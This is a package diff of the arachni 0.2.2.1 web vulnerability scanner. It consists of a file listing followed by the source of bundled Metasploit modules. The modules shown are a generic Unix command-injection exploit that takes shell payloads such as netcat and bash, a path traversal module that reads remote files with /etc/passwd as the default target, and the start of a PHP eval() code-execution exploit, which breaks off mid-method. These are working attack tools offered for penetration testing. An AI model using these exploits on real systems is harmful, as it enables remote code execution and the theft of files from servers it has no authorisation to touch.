arachni 0.2.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/ACKNOWLEDGMENTS.md +14 -0
- data/AUTHORS.md +6 -0
- data/CHANGELOG.md +162 -0
- data/CONTRIBUTORS.md +10 -0
- data/EXPLOITATION.md +429 -0
- data/HACKING.md +101 -0
- data/LICENSE.md +341 -0
- data/README.md +350 -0
- data/Rakefile +86 -0
- data/bin/arachni +22 -0
- data/bin/arachni_web +77 -0
- data/bin/arachni_xmlrpc +21 -0
- data/bin/arachni_xmlrpcd +82 -0
- data/bin/arachni_xmlrpcd_monitor +74 -0
- data/conf/README.webui.yaml.txt +44 -0
- data/conf/webui.yaml +11 -0
- data/external/metasploit/LICENSE +24 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
- data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
- data/external/metasploit/plugins/arachni.rb +536 -0
- data/getoptslong.rb +241 -0
- data/lib/anemone.rb +2 -0
- data/lib/anemone/cookie_store.rb +35 -0
- data/lib/anemone/core.rb +371 -0
- data/lib/anemone/exceptions.rb +5 -0
- data/lib/anemone/http.rb +144 -0
- data/lib/anemone/page.rb +337 -0
- data/lib/anemone/page_store.rb +160 -0
- data/lib/anemone/storage.rb +34 -0
- data/lib/anemone/storage/base.rb +75 -0
- data/lib/anemone/storage/exceptions.rb +15 -0
- data/lib/anemone/storage/mongodb.rb +89 -0
- data/lib/anemone/storage/pstore.rb +50 -0
- data/lib/anemone/storage/redis.rb +90 -0
- data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
- data/lib/anemone/tentacle.rb +40 -0
- data/lib/arachni.rb +16 -0
- data/lib/audit_store.rb +346 -0
- data/lib/component_manager.rb +293 -0
- data/lib/component_options.rb +395 -0
- data/lib/exceptions.rb +76 -0
- data/lib/framework.rb +637 -0
- data/lib/http.rb +809 -0
- data/lib/issue.rb +302 -0
- data/lib/module.rb +4 -0
- data/lib/module/auditor.rb +455 -0
- data/lib/module/base.rb +188 -0
- data/lib/module/element_db.rb +158 -0
- data/lib/module/key_filler.rb +87 -0
- data/lib/module/manager.rb +87 -0
- data/lib/module/output.rb +68 -0
- data/lib/module/trainer.rb +240 -0
- data/lib/module/utilities.rb +110 -0
- data/lib/options.rb +547 -0
- data/lib/parser.rb +2 -0
- data/lib/parser/auditable.rb +522 -0
- data/lib/parser/elements.rb +296 -0
- data/lib/parser/page.rb +149 -0
- data/lib/parser/parser.rb +717 -0
- data/lib/plugin.rb +4 -0
- data/lib/plugin/base.rb +110 -0
- data/lib/plugin/manager.rb +162 -0
- data/lib/report.rb +4 -0
- data/lib/report/base.rb +119 -0
- data/lib/report/manager.rb +92 -0
- data/lib/rpc/xml/client/base.rb +71 -0
- data/lib/rpc/xml/client/dispatcher.rb +49 -0
- data/lib/rpc/xml/client/instance.rb +88 -0
- data/lib/rpc/xml/server/base.rb +90 -0
- data/lib/rpc/xml/server/dispatcher.rb +357 -0
- data/lib/rpc/xml/server/framework.rb +206 -0
- data/lib/rpc/xml/server/instance.rb +191 -0
- data/lib/rpc/xml/server/module/manager.rb +46 -0
- data/lib/rpc/xml/server/options.rb +124 -0
- data/lib/rpc/xml/server/output.rb +299 -0
- data/lib/rpc/xml/server/plugin/manager.rb +58 -0
- data/lib/ruby.rb +5 -0
- data/lib/ruby/object.rb +32 -0
- data/lib/ruby/string.rb +74 -0
- data/lib/ruby/xmlrpc/server.rb +27 -0
- data/lib/spider.rb +200 -0
- data/lib/typhoeus/request.rb +91 -0
- data/lib/typhoeus/response.rb +34 -0
- data/lib/ui/cli/cli.rb +744 -0
- data/lib/ui/cli/output.rb +279 -0
- data/lib/ui/web/log.rb +82 -0
- data/lib/ui/web/output_stream.rb +94 -0
- data/lib/ui/web/report_manager.rb +222 -0
- data/lib/ui/web/server.rb +903 -0
- data/lib/ui/web/server/db/placeholder +0 -0
- data/lib/ui/web/server/public/banner.png +0 -0
- data/lib/ui/web/server/public/bodybg-small.png +0 -0
- data/lib/ui/web/server/public/bodybg.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
- data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
- data/lib/ui/web/server/public/favicon.ico +0 -0
- data/lib/ui/web/server/public/footer.jpg +0 -0
- data/lib/ui/web/server/public/icons/error.png +0 -0
- data/lib/ui/web/server/public/icons/info.png +0 -0
- data/lib/ui/web/server/public/icons/ok.png +0 -0
- data/lib/ui/web/server/public/icons/status.png +0 -0
- data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
- data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
- data/lib/ui/web/server/public/logo.png +0 -0
- data/lib/ui/web/server/public/nav-left.jpg +0 -0
- data/lib/ui/web/server/public/nav-right.jpg +0 -0
- data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
- data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
- data/lib/ui/web/server/public/reports/placeholder +1 -0
- data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
- data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
- data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
- data/lib/ui/web/server/public/spider.png +0 -0
- data/lib/ui/web/server/public/style.css +604 -0
- data/lib/ui/web/server/tmp/placeholder +0 -0
- data/lib/ui/web/server/views/dispatcher.erb +85 -0
- data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
- data/lib/ui/web/server/views/error.erb +1 -0
- data/lib/ui/web/server/views/flash.erb +18 -0
- data/lib/ui/web/server/views/home.erb +14 -0
- data/lib/ui/web/server/views/instance.erb +213 -0
- data/lib/ui/web/server/views/layout.erb +95 -0
- data/lib/ui/web/server/views/log.erb +40 -0
- data/lib/ui/web/server/views/modules.erb +71 -0
- data/lib/ui/web/server/views/options.erb +23 -0
- data/lib/ui/web/server/views/output_results.erb +51 -0
- data/lib/ui/web/server/views/plugins.erb +42 -0
- data/lib/ui/web/server/views/report_formats.erb +30 -0
- data/lib/ui/web/server/views/reports.erb +55 -0
- data/lib/ui/web/server/views/settings.erb +120 -0
- data/lib/ui/web/server/views/welcome.erb +38 -0
- data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
- data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
- data/logs/placeholder +0 -0
- data/metamodules/autothrottle.rb +74 -0
- data/metamodules/timeout_notice.rb +118 -0
- data/metamodules/uniformity.rb +98 -0
- data/modules/audit/code_injection.rb +136 -0
- data/modules/audit/code_injection_timing.rb +115 -0
- data/modules/audit/code_injection_timing/payloads.txt +4 -0
- data/modules/audit/csrf.rb +301 -0
- data/modules/audit/ldapi.rb +103 -0
- data/modules/audit/ldapi/errors.txt +26 -0
- data/modules/audit/os_cmd_injection.rb +103 -0
- data/modules/audit/os_cmd_injection/payloads.txt +2 -0
- data/modules/audit/os_cmd_injection_timing.rb +104 -0
- data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
- data/modules/audit/path_traversal.rb +141 -0
- data/modules/audit/response_splitting.rb +105 -0
- data/modules/audit/rfi.rb +193 -0
- data/modules/audit/sqli.rb +120 -0
- data/modules/audit/sqli/regexp_ids.txt +90 -0
- data/modules/audit/sqli_blind_rdiff.rb +321 -0
- data/modules/audit/sqli_blind_timing.rb +103 -0
- data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
- data/modules/audit/trainer.rb +89 -0
- data/modules/audit/unvalidated_redirect.rb +90 -0
- data/modules/audit/xpath.rb +104 -0
- data/modules/audit/xpath/errors.txt +26 -0
- data/modules/audit/xss.rb +99 -0
- data/modules/audit/xss_event.rb +134 -0
- data/modules/audit/xss_path.rb +125 -0
- data/modules/audit/xss_script_tag.rb +112 -0
- data/modules/audit/xss_tag.rb +112 -0
- data/modules/audit/xss_uri.rb +125 -0
- data/modules/recon/allowed_methods.rb +104 -0
- data/modules/recon/backdoors.rb +131 -0
- data/modules/recon/backdoors/filenames.txt +16 -0
- data/modules/recon/backup_files.rb +177 -0
- data/modules/recon/backup_files/extensions.txt +28 -0
- data/modules/recon/common_directories.rb +138 -0
- data/modules/recon/common_directories/directories.txt +265 -0
- data/modules/recon/common_files.rb +138 -0
- data/modules/recon/common_files/filenames.txt +17 -0
- data/modules/recon/directory_listing.rb +171 -0
- data/modules/recon/grep/captcha.rb +62 -0
- data/modules/recon/grep/credit_card.rb +85 -0
- data/modules/recon/grep/cvs_svn_users.rb +73 -0
- data/modules/recon/grep/emails.rb +59 -0
- data/modules/recon/grep/html_objects.rb +53 -0
- data/modules/recon/grep/private_ip.rb +54 -0
- data/modules/recon/grep/ssn.rb +53 -0
- data/modules/recon/htaccess_limit.rb +82 -0
- data/modules/recon/http_put.rb +95 -0
- data/modules/recon/interesting_responses.rb +118 -0
- data/modules/recon/unencrypted_password_forms.rb +119 -0
- data/modules/recon/webdav.rb +126 -0
- data/modules/recon/xst.rb +107 -0
- data/path_extractors/anchors.rb +35 -0
- data/path_extractors/forms.rb +35 -0
- data/path_extractors/frames.rb +38 -0
- data/path_extractors/generic.rb +39 -0
- data/path_extractors/links.rb +35 -0
- data/path_extractors/meta_refresh.rb +39 -0
- data/path_extractors/scripts.rb +37 -0
- data/path_extractors/sitemap.rb +31 -0
- data/plugins/autologin.rb +137 -0
- data/plugins/content_types.rb +90 -0
- data/plugins/cookie_collector.rb +99 -0
- data/plugins/form_dicattack.rb +185 -0
- data/plugins/healthmap.rb +94 -0
- data/plugins/http_dicattack.rb +133 -0
- data/plugins/metamodules.rb +118 -0
- data/plugins/proxy.rb +248 -0
- data/plugins/proxy/server.rb +66 -0
- data/plugins/waf_detector.rb +184 -0
- data/profiles/comprehensive.afp +74 -0
- data/profiles/full.afp +75 -0
- data/reports/afr.rb +59 -0
- data/reports/ap.rb +55 -0
- data/reports/html.rb +179 -0
- data/reports/html/default.erb +967 -0
- data/reports/metareport.rb +139 -0
- data/reports/metareport/arachni_metareport.rb +174 -0
- data/reports/plugin_formatters/html/content_types.rb +82 -0
- data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
- data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
- data/reports/plugin_formatters/html/healthmap.rb +76 -0
- data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
- data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
- data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
- data/reports/plugin_formatters/html/metamodules.rb +93 -0
- data/reports/plugin_formatters/html/waf_detector.rb +54 -0
- data/reports/plugin_formatters/stdout/content_types.rb +73 -0
- data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
- data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
- data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
- data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
- data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
- data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
- data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
- data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
- data/reports/plugin_formatters/xml/content_types.rb +91 -0
- data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
- data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
- data/reports/plugin_formatters/xml/healthmap.rb +82 -0
- data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
- data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
- data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
- data/reports/plugin_formatters/xml/metamodules.rb +91 -0
- data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
- data/reports/stdout.rb +182 -0
- data/reports/txt.rb +77 -0
- data/reports/xml.rb +231 -0
- data/reports/xml/buffer.rb +98 -0
- metadata +516 -0
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
require 'msf/core'
|
|
2
|
+
|
|
3
|
+
class Metasploit3 < Msf::Exploit::Remote
|
|
4
|
+
Rank = ExcellentRanking
|
|
5
|
+
|
|
6
|
+
include Msf::Exploit::Remote::Tcp
|
|
7
|
+
include Msf::Exploit::Remote::HttpClient
|
|
8
|
+
|
|
9
|
+
def initialize( info = {} )
|
|
10
|
+
super( update_info( info,
|
|
11
|
+
'Name' => 'Generic WebApp Unix Command Execution Exploit',
|
|
12
|
+
'Description' => %q{
|
|
13
|
+
This module allows complex HTTP requests to be crafted in order to
|
|
14
|
+
allow exploitation of command injection vulnerabilities in Unix-like platforms.
|
|
15
|
+
|
|
16
|
+
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
|
|
17
|
+
i.e. where the payload should go.
|
|
18
|
+
|
|
19
|
+
Supported vectors: GET, POST, COOKIE, HEADER.
|
|
20
|
+
(Mainly for use with the Arachni plug-in.)
|
|
21
|
+
},
|
|
22
|
+
'Author' => [
|
|
23
|
+
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
|
|
24
|
+
'hdm' # original exploit: exploits/unix/webapp/generic_exec.rb
|
|
25
|
+
],
|
|
26
|
+
'License' => MSF_LICENSE,
|
|
27
|
+
'Version' => '$Revision: 10642 $',
|
|
28
|
+
'References' =>
|
|
29
|
+
[
|
|
30
|
+
['URL', 'http://github.com/Zapotek/arachni'],
|
|
31
|
+
],
|
|
32
|
+
'Privileged' => false,
|
|
33
|
+
'Payload' =>
|
|
34
|
+
{
|
|
35
|
+
'DisableNops' => true,
|
|
36
|
+
'Space' => 1024,
|
|
37
|
+
'Compat' =>
|
|
38
|
+
{
|
|
39
|
+
'PayloadType' => 'cmd',
|
|
40
|
+
'RequiredCmd' => 'generic perl telnet netcat-e bash',
|
|
41
|
+
}
|
|
42
|
+
},
|
|
43
|
+
'Platform' => 'unix',
|
|
44
|
+
'Arch' => ARCH_CMD,
|
|
45
|
+
'Targets' => [[ 'Automatic', { }]],
|
|
46
|
+
'DefaultTarget' => 0 ) )
|
|
47
|
+
|
|
48
|
+
register_options( [
|
|
49
|
+
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
50
|
+
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
51
|
+
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
52
|
+
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
53
|
+
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
|
|
54
|
+
], self.class )
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
def check
|
|
58
|
+
uri = datastore['PATH'] ? datastore['PATH'].dup : ""
|
|
59
|
+
|
|
60
|
+
if( uri && ! uri.empty? )
|
|
61
|
+
|
|
62
|
+
uri.gsub!( /\?.*/, "" )
|
|
63
|
+
|
|
64
|
+
print_status( "Checking uri #{uri}" )
|
|
65
|
+
|
|
66
|
+
response = send_request_raw({ 'uri' => uri})
|
|
67
|
+
if response.code == 200
|
|
68
|
+
return Exploit::CheckCode::Detected
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
print_error( "Server responded with #{response.code}" )
|
|
72
|
+
return Exploit::CheckCode::Safe
|
|
73
|
+
else
|
|
74
|
+
return Exploit::CheckCode::Unknown
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
def exploit
|
|
81
|
+
|
|
82
|
+
cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
|
|
83
|
+
headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), ':;' )
|
|
84
|
+
post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
|
|
85
|
+
get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
|
|
86
|
+
uri = datastore['PATH'].to_s
|
|
87
|
+
method = post.empty? ? 'GET' : 'POST'
|
|
88
|
+
|
|
89
|
+
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
|
|
90
|
+
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
|
|
91
|
+
return
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
print_status( "Sending HTTP request for #{uri}" )
|
|
95
|
+
res = send_request_cgi( {
|
|
96
|
+
'global' => true,
|
|
97
|
+
'uri' => uri,
|
|
98
|
+
'method' => method,
|
|
99
|
+
'vars_get' => get,
|
|
100
|
+
'vars_post' => post,
|
|
101
|
+
'headers' => headers,
|
|
102
|
+
'cookie' => cookies
|
|
103
|
+
}, 0.01 )
|
|
104
|
+
|
|
105
|
+
handler
|
|
106
|
+
end
|
|
107
|
+
|
|
108
|
+
#
|
|
109
|
+
# Converts a URI styled query string into a key=>value hash
|
|
110
|
+
#
|
|
111
|
+
def _str_to_hash( str, sep = '&' )
|
|
112
|
+
hash = {}
|
|
113
|
+
str.split( sep ).map do |part|
|
|
114
|
+
splits = part.split( '=', 2 )
|
|
115
|
+
next if !splits[0] || !splits[1]
|
|
116
|
+
hash[splits[0]] = splits[1]
|
|
117
|
+
end
|
|
118
|
+
|
|
119
|
+
return hash
|
|
120
|
+
end
|
|
121
|
+
|
|
122
|
+
#
|
|
123
|
+
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
|
|
124
|
+
# payload
|
|
125
|
+
#
|
|
126
|
+
def _sub_injection( str, sep = '&' )
|
|
127
|
+
|
|
128
|
+
return str.to_s.split( sep ).map do |var|
|
|
129
|
+
k,v = var.split( '=', 2 )
|
|
130
|
+
next if !v || !k
|
|
131
|
+
|
|
132
|
+
if sep == '&'
|
|
133
|
+
pl = payload.encoded
|
|
134
|
+
else
|
|
135
|
+
pl = URI.encode( payload.encoded, ';\'=$_(),-:~. ' )
|
|
136
|
+
end
|
|
137
|
+
|
|
138
|
+
k + "=" + v.gsub( 'XXinjectionXX', pl )
|
|
139
|
+
end.reject do |i| !i end.join( sep )
|
|
140
|
+
end
|
|
141
|
+
|
|
142
|
+
end
|
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
require 'msf/core'
|
|
2
|
+
|
|
3
|
+
class Metasploit3 < Msf::Auxiliary
|
|
4
|
+
|
|
5
|
+
include Msf::Exploit::Remote::HttpClient
|
|
6
|
+
|
|
7
|
+
def initialize(info = {})
|
|
8
|
+
super(update_info(info,
|
|
9
|
+
'Name' => 'Arachni Path Traversal Module',
|
|
10
|
+
'Description' => %q{
|
|
11
|
+
It exploits path traversal vulnerabilities in order to read the contents of a remote file.
|
|
12
|
+
It will also try to clean-up any HMTL code that does not belong to the file.
|
|
13
|
+
|
|
14
|
+
This module is designed to be used with the Arachni plug-in.
|
|
15
|
+
},
|
|
16
|
+
'Author' => [
|
|
17
|
+
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>',
|
|
18
|
+
],
|
|
19
|
+
'License' => BSD_LICENSE,
|
|
20
|
+
'Version' => '$Revision: 9212 $',
|
|
21
|
+
'References' =>
|
|
22
|
+
[
|
|
23
|
+
['URL', 'http://github.com/Zapotek/arachni']
|
|
24
|
+
]
|
|
25
|
+
))
|
|
26
|
+
|
|
27
|
+
register_options( [
|
|
28
|
+
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
29
|
+
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
30
|
+
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
31
|
+
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
32
|
+
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
|
|
33
|
+
OptString.new( 'FILE', [ true, "The file to grab.", "/etc/passwd" ] ),
|
|
34
|
+
], self.class )
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
def run
|
|
38
|
+
#
|
|
39
|
+
# There must be a better way to get the diff but this is good enough for now
|
|
40
|
+
#
|
|
41
|
+
begin
|
|
42
|
+
file_orig = datastore['FILE'].dup
|
|
43
|
+
splits_file = get_file.split( /\w*$/ )
|
|
44
|
+
|
|
45
|
+
datastore['FILE'] = '/'
|
|
46
|
+
|
|
47
|
+
splits_empty = get_file.split( /\w*$/ )
|
|
48
|
+
|
|
49
|
+
print_line (splits_file - splits_empty).join
|
|
50
|
+
ensure
|
|
51
|
+
datastore['FILE'] = file_orig.dup
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
def get_file
|
|
57
|
+
cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
|
|
58
|
+
headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' )
|
|
59
|
+
post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
|
|
60
|
+
get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
|
|
61
|
+
uri = datastore['PATH'].to_s
|
|
62
|
+
method = post.empty? ? 'GET' : 'POST'
|
|
63
|
+
|
|
64
|
+
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
|
|
65
|
+
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
|
|
66
|
+
return
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
print_status( "Sending HTTP request for #{uri}" )
|
|
70
|
+
res = send_request_cgi( {
|
|
71
|
+
'global' => true,
|
|
72
|
+
'uri' => uri,
|
|
73
|
+
'method' => method,
|
|
74
|
+
'vars_get' => get,
|
|
75
|
+
'vars_post' => post,
|
|
76
|
+
'headers' => headers,
|
|
77
|
+
'cookie' => cookies
|
|
78
|
+
}, 0.01 )
|
|
79
|
+
|
|
80
|
+
return res.body
|
|
81
|
+
end
|
|
82
|
+
|
|
83
|
+
#
|
|
84
|
+
# Converts a URI styled query string into a key=>value hash
|
|
85
|
+
#
|
|
86
|
+
def _str_to_hash( str, sep = '&' )
|
|
87
|
+
hash = {}
|
|
88
|
+
str.split( sep ).map do |part|
|
|
89
|
+
splits = part.split( '=', 2 )
|
|
90
|
+
next if !splits[0] || !splits[1]
|
|
91
|
+
hash[splits[0]] = splits[1]
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
return hash
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
#
|
|
98
|
+
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
|
|
99
|
+
# payload
|
|
100
|
+
#
|
|
101
|
+
def _sub_injection( str, sep = '&' )
|
|
102
|
+
|
|
103
|
+
return str.to_s.split( sep ).map do |var|
|
|
104
|
+
k,v = var.split( '=', 2 )
|
|
105
|
+
next if !v || !k
|
|
106
|
+
|
|
107
|
+
k + "=" + v.gsub( 'XXinjectionXX', datastore['FILE'].to_s )
|
|
108
|
+
end.reject do |i| !i end.join( sep )
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
end
|
|
113
|
+
|
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
require 'msf/core'
|
|
2
|
+
|
|
3
|
+
class Metasploit3 < Msf::Exploit::Remote
|
|
4
|
+
Rank = ExcellentRanking
|
|
5
|
+
|
|
6
|
+
include Msf::Exploit::Remote::HttpClient
|
|
7
|
+
|
|
8
|
+
def initialize(info = {})
|
|
9
|
+
super(update_info(info,
|
|
10
|
+
'Name' => 'Generic PHP Code eval() Exploit',
|
|
11
|
+
'Description' => %q{
|
|
12
|
+
This module allows complex HTTP requests to be crafted in order to
|
|
13
|
+
allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.
|
|
14
|
+
|
|
15
|
+
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
|
|
16
|
+
i.e. where the payload should go.
|
|
17
|
+
|
|
18
|
+
Supported vectors: GET, POST, COOKIE, HEADER.
|
|
19
|
+
(Mainly for use with the Arachni plug-in.)
|
|
20
|
+
},
|
|
21
|
+
'Author' => [
|
|
22
|
+
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
|
|
23
|
+
'egypt' # original exploit: exploits/unix/webapp/php_eval.rb
|
|
24
|
+
],
|
|
25
|
+
'License' => BSD_LICENSE,
|
|
26
|
+
'Version' => '$Revision: 9392 $',
|
|
27
|
+
'References' =>
|
|
28
|
+
[
|
|
29
|
+
['URL', 'http://github.com/Zapotek/arachni'],
|
|
30
|
+
],
|
|
31
|
+
'Privileged' => false,
|
|
32
|
+
'Platform' => ['php'],
|
|
33
|
+
'Arch' => ARCH_PHP,
|
|
34
|
+
'Payload' =>
|
|
35
|
+
{
|
|
36
|
+
# max header length for Apache,
|
|
37
|
+
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
|
|
38
|
+
'Space' => 8190,
|
|
39
|
+
# max url length for some old versions of apache according to
|
|
40
|
+
# http://www.boutell.com/newfaq/misc/urllength.html
|
|
41
|
+
#'Space' => 4000,
|
|
42
|
+
'DisableNops' => true,
|
|
43
|
+
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
|
|
44
|
+
'Compat' =>
|
|
45
|
+
{
|
|
46
|
+
'ConnectionType' => 'find',
|
|
47
|
+
},
|
|
48
|
+
'Keys' => ['php'],
|
|
49
|
+
},
|
|
50
|
+
'Targets' => [ ['Automatic', { }], ],
|
|
51
|
+
'DefaultTarget' => 0
|
|
52
|
+
))
|
|
53
|
+
|
|
54
|
+
register_options( [
|
|
55
|
+
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
56
|
+
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
57
|
+
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
58
|
+
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
59
|
+
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
|
|
60
|
+
], self.class )
|
|
61
|
+
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
def check
|
|
65
|
+
uri = datastore['PATH'] ? datastore['PATH'].dup : ""
|
|
66
|
+
|
|
67
|
+
if( uri && ! uri.empty? )
|
|
68
|
+
|
|
69
|
+
uri.gsub!( /\?.*/, "" )
|
|
70
|
+
|
|
71
|
+
print_status( "Checking uri #{uri}" )
|
|
72
|
+
|
|
73
|
+
response = send_request_raw({ 'uri' => uri})
|
|
74
|
+
if response.code == 200
|
|
75
|
+
return Exploit::CheckCode::Detected
|
|
76
|
+
end
|
|
77
|
+
|
|
78
|
+
print_error( "Server responded with #{response.code}" )
|
|
79
|
+
return Exploit::CheckCode::Safe
|
|
80
|
+
else
|
|
81
|
+
return Exploit::CheckCode::Unknown
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
def exploit
|
|
87
|
+
|
|
88
|
+
headername = "X-" + Rex::Text.rand_text_alpha_upper( rand( 10 ) + 10 )
|
|
89
|
+
|
|
90
|
+
cookies = _sub_injection( datastore['COOKIES'].to_s, headername, ';' )
|
|
91
|
+
